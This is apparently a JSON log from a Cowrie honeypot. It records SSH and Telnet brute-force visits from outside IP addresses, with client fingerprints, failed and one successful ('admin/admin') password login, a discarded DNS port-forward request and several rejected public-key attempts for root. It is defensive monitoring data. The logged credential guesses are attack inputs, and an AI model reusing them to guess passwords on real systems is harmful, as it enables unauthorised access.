{"eventid":"cowrie.login.failed","username":"root","password":"dbrnjhbz1","message":"login attempt [root/dbrnjhbz1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:10.963031Z","src_ip":"103.98.149.87","session":"3852cee817d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48812,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e4dcda375e2","protocol":"telnet","message":"New connection: 135.148.14.151:48812 (159.203.135.109:23) [session: 6e4dcda375e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:11.660672Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:12.189814Z","src_ip":"103.98.149.87","session":"3852cee817d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40300,"dst_ip":"10.17.0.5","dst_port":22,"session":"f20458d1b1f5","protocol":"ssh","message":"New connection: 87.251.64.176:40300 (10.17.0.5:22) [session: f20458d1b1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:20.762096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:20.774369Z","src_ip":"87.251.64.176","session":"f20458d1b1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:20.868768Z","src_ip":"87.251.64.176","session":"f20458d1b1f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:21.152666Z","src_ip":"87.251.64.176","session":"f20458d1b1f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:21.250202Z","session":"f20458d1b1f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:21.347097Z","src_ip":"87.251.64.176","session":"f20458d1b1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:21.444138Z","src_ip":"87.251.64.176","session":"f20458d1b1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":42166,"dst_ip":"159.203.135.109","dst_port":22,"session":"b61449ea5d98","protocol":"ssh","message":"New connection: 103.149.170.125:42166 (159.203.135.109:22) [session: b61449ea5d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:22.801345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:22.806139Z","src_ip":"103.149.170.125","session":"b61449ea5d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:23.070720Z","src_ip":"103.149.170.125","session":"b61449ea5d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhntv1998","message":"login attempt [root/fhntv1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:23.860450Z","src_ip":"103.149.170.125","session":"b61449ea5d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:25.127884Z","src_ip":"103.149.170.125","session":"b61449ea5d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":38680,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9adfaf55fb2","protocol":"ssh","message":"New connection: 129.226.4.94:38680 (159.203.135.109:22) [session: a9adfaf55fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:28.751075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:28.756019Z","src_ip":"129.226.4.94","session":"a9adfaf55fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:29.002299Z","src_ip":"129.226.4.94","session":"a9adfaf55fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rakesh","password":"rakesh@123","message":"login attempt [rakesh/rakesh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:30.019783Z","src_ip":"129.226.4.94","session":"a9adfaf55fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:31.269266Z","src_ip":"129.226.4.94","session":"a9adfaf55fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.00038242340088,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:45.623151Z","src_ip":"135.148.14.151","session":"abf4cda80782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4057195186615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:46.066255Z","src_ip":"135.148.14.151","session":"6e4dcda375e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.94.100.232","src_port":36418,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b6f81d2897","protocol":"ssh","message":"New connection: 66.94.100.232:36418 (10.17.0.5:22) [session: 96b6f81d2897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:54.902104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:54.966690Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:54.975997Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:d3:87:17:57:57:91:20:df:82:9d:a7:33:5e:ac:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUDQ5AIMMN8naac+VDDGUnu3rqpXy+KKIzE1rXiL62OFUmFswFe1oI/VRF1XcfSWahHsvIkXbcdgeLGsBjqbhoUFW3l+Ye7XuCCbEMfCCwNDKZ25+6Xt08JcreCtd9VbBhyr4A6JTGgK8Jr3t0AWO3JEWeSiFE0mOikwUkwEOJtTPHOaN/1z/ctJBiZKeZbeHbBApK5Fx5YTBF8qZafYjHl4pUyLdvUfe5uHh/uVNAPbuZri/Q+L8q4pqFcZq6SNFO4aiMYd8CwlocRWGr5e8I52NRZ4eOaZBaDlL4CRg5B7M6eqBed8bY4JwfE840QhBQvoVlEbjjdJtgnRHB76bqOG0dwTqpOpDoz9SGPnrVWJE1qhmv6K0JchjsIV8aT+U7cZx9al4Z/UHiR0m86eJuQS0wiYVwuPhv32o+XLrOQH4GrlHcisNAKHEVYeAP6izLPvToAa7RQ8nL9Bmrce3TK5LdFzt3hGwHJHX7NnX84Ob8uZpDQj4ipyre3qf6FmNI7iHFtss693p27WF/NMKjRzy8X6n/qGU+qzlwtb/VEDg0fd4enuIbJ9sBHQKBZeg5XPvwbkN9kxBE12FojcNhP2fxS5UhU3wGFM2MOSuwVM77MxxT4gk3hk1YJbIg5zbsEi1P7u/QdaoBtBSm593uAdzAl2JElBpnj3gVYKBCQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:d3:87:17:57:57:91:20:df:82:9d:a7:33:5e:ac:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.141776Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:d3:87:17:57:57:91:20:df:82:9d:a7:33:5e:ac:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUDQ5AIMMN8naac+VDDGUnu3rqpXy+KKIzE1rXiL62OFUmFswFe1oI/VRF1XcfSWahHsvIkXbcdgeLGsBjqbhoUFW3l+Ye7XuCCbEMfCCwNDKZ25+6Xt08JcreCtd9VbBhyr4A6JTGgK8Jr3t0AWO3JEWeSiFE0mOikwUkwEOJtTPHOaN/1z/ctJBiZKeZbeHbBApK5Fx5YTBF8qZafYjHl4pUyLdvUfe5uHh/uVNAPbuZri/Q+L8q4pqFcZq6SNFO4aiMYd8CwlocRWGr5e8I52NRZ4eOaZBaDlL4CRg5B7M6eqBed8bY4JwfE840QhBQvoVlEbjjdJtgnRHB76bqOG0dwTqpOpDoz9SGPnrVWJE1qhmv6K0JchjsIV8aT+U7cZx9al4Z/UHiR0m86eJuQS0wiYVwuPhv32o+XLrOQH4GrlHcisNAKHEVYeAP6izLPvToAa7RQ8nL9Bmrce3TK5LdFzt3hGwHJHX7NnX84Ob8uZpDQj4ipyre3qf6FmNI7iHFtss693p27WF/NMKjRzy8X6n/qGU+qzlwtb/VEDg0fd4enuIbJ9sBHQKBZeg5XPvwbkN9kxBE12FojcNhP2fxS5UhU3wGFM2MOSuwVM77MxxT4gk3hk1YJbIg5zbsEi1P7u/QdaoBtBSm593uAdzAl2JElBpnj3gVYKBCQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.146359Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:3b:36:6f:66:cf:f8:a3:51:2d:e6:14:28:1a:22:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINHAbfpIywKtSjtqlBPSwNy+9JGhNaXWOV2F4wusHeFa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4f:3b:36:6f:66:cf:f8:a3:51:2d:e6:14:28:1a:22:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.334885Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:3b:36:6f:66:cf:f8:a3:51:2d:e6:14:28:1a:22:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINHAbfpIywKtSjtqlBPSwNy+9JGhNaXWOV2F4wusHeFa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.339966Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:c0:39:c7:b5:b1:15:78:bf:fb:9a:3c:c0:7a:23:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApOeDrJ7TlfaIGQyE75xYkuhu1vs9H7dG/tFW1ugF/2lAoEEtwN+rRPFVM7Cs4mS/9admT764APkNngyZrAlwzKnNRcLOTH2ACY1iNwAkwTbyirB1Hs9D8MNa6Q0KZ3CizDVtpTuayTgNawiDtA7UKsR1YG/LHeNeCmulIiUrO4RhJj3Z509iThVXN/ImiUTJu+m56DQq+KHopWsxHTEhzKbANXTeHH8loNHEm9ox7VBKyUECp6ULRzqX6IpvqT+UNlq5gAAqII8Z4q1W1hgFFHj5DeAxj1NiB+H1p9Jq0RUAa9UWSr6VxHDhoU5ZAYznZLhR6nO3HNa8gt5Tz04Uhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:c0:39:c7:b5:b1:15:78:bf:fb:9a:3c:c0:7a:23:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.400949Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:c0:39:c7:b5:b1:15:78:bf:fb:9a:3c:c0:7a:23:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApOeDrJ7TlfaIGQyE75xYkuhu1vs9H7dG/tFW1ugF/2lAoEEtwN+rRPFVM7Cs4mS/9admT764APkNngyZrAlwzKnNRcLOTH2ACY1iNwAkwTbyirB1Hs9D8MNa6Q0KZ3CizDVtpTuayTgNawiDtA7UKsR1YG/LHeNeCmulIiUrO4RhJj3Z509iThVXN/ImiUTJu+m56DQq+KHopWsxHTEhzKbANXTeHH8loNHEm9ox7VBKyUECp6ULRzqX6IpvqT+UNlq5gAAqII8Z4q1W1hgFFHj5DeAxj1NiB+H1p9Jq0RUAa9UWSr6VxHDhoU5ZAYznZLhR6nO3HNa8gt5Tz04Uhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.404851Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:86:ba:f1:dd:38:8d:72:3a:79:ae:36:38:5e:6b:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLIWYAf7VXeeVxPaW2sP/raOBqLiZxGCexkseBNk3AvUUG1lCgaR25T5mEeKlbqUMSLG3pPVqbxah2ObK7SqqIOeaTSede9ZWDfVE5jjds9OX43mBqn22eivt/60ZSwwn0O9Klp0ufYcvgLtiWpWbjW7Ex0bW/Mx1M19OfPqToBWbowbRpW94YGvSYo0HE3IC3DREt9UqjGUYwv/och1q7rMkIduSttiGSsLfuFBgUgsF2RE+gD05Du5IHI46AlYRVeBuzwJ3PLN8FpXnLG1Jv00ditMqljfUf5mNX1/6DYA/V2Ia6jGQqV0zlsqgQTy03v+Ebu6dpkgbZUxACAfG5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:86:ba:f1:dd:38:8d:72:3a:79:ae:36:38:5e:6b:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.433383Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:86:ba:f1:dd:38:8d:72:3a:79:ae:36:38:5e:6b:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLIWYAf7VXeeVxPaW2sP/raOBqLiZxGCexkseBNk3AvUUG1lCgaR25T5mEeKlbqUMSLG3pPVqbxah2ObK7SqqIOeaTSede9ZWDfVE5jjds9OX43mBqn22eivt/60ZSwwn0O9Klp0ufYcvgLtiWpWbjW7Ex0bW/Mx1M19OfPqToBWbowbRpW94YGvSYo0HE3IC3DREt9UqjGUYwv/och1q7rMkIduSttiGSsLfuFBgUgsF2RE+gD05Du5IHI46AlYRVeBuzwJ3PLN8FpXnLG1Jv00ditMqljfUf5mNX1/6DYA/V2Ia6jGQqV0zlsqgQTy03v+Ebu6dpkgbZUxACAfG5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.440660Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:07:64:b0:75:44:a9:93:e0:9a:0a:a4:45:ff:66:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzNHmCNnVIHDBXgyDLh8iM3sjtn+5Qvgv9NVgxx+Mm/Lba97B+6F6X65LUjx12qaRrJuRxkRWDlPsmKhS0OQbql3pnHQZqJkheCun+qIf2aRJTEewvUDfbHooeIEEanWQB8jkK/B2aHQbnHqM2cV1ZDfbjEummCxerFkE3RoWk91d5pqxfH0VxPbtLqjTygGIIl113EEjKC+ZEkcBQWbaYEzGMhdfJqce1932HcumLpk2m7sUnU1Jcp0AcjkkQAIjKqpxHzddCngM6MPbPNDKyrCEGve0WvB4omcRXdFZSGmkMHPESBzZ5vVgDJlDf3Fc+1WiwM2nUdqiH/IaaqMxZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:07:64:b0:75:44:a9:93:e0:9a:0a:a4:45:ff:66:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.567495Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:07:64:b0:75:44:a9:93:e0:9a:0a:a4:45:ff:66:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzNHmCNnVIHDBXgyDLh8iM3sjtn+5Qvgv9NVgxx+Mm/Lba97B+6F6X65LUjx12qaRrJuRxkRWDlPsmKhS0OQbql3pnHQZqJkheCun+qIf2aRJTEewvUDfbHooeIEEanWQB8jkK/B2aHQbnHqM2cV1ZDfbjEummCxerFkE3RoWk91d5pqxfH0VxPbtLqjTygGIIl113EEjKC+ZEkcBQWbaYEzGMhdfJqce1932HcumLpk2m7sUnU1Jcp0AcjkkQAIjKqpxHzddCngM6MPbPNDKyrCEGve0WvB4omcRXdFZSGmkMHPESBzZ5vVgDJlDf3Fc+1WiwM2nUdqiH/IaaqMxZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.572739Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:55.695919Z","src_ip":"66.94.100.232","session":"96b6f81d2897","protocol":"ssh"}
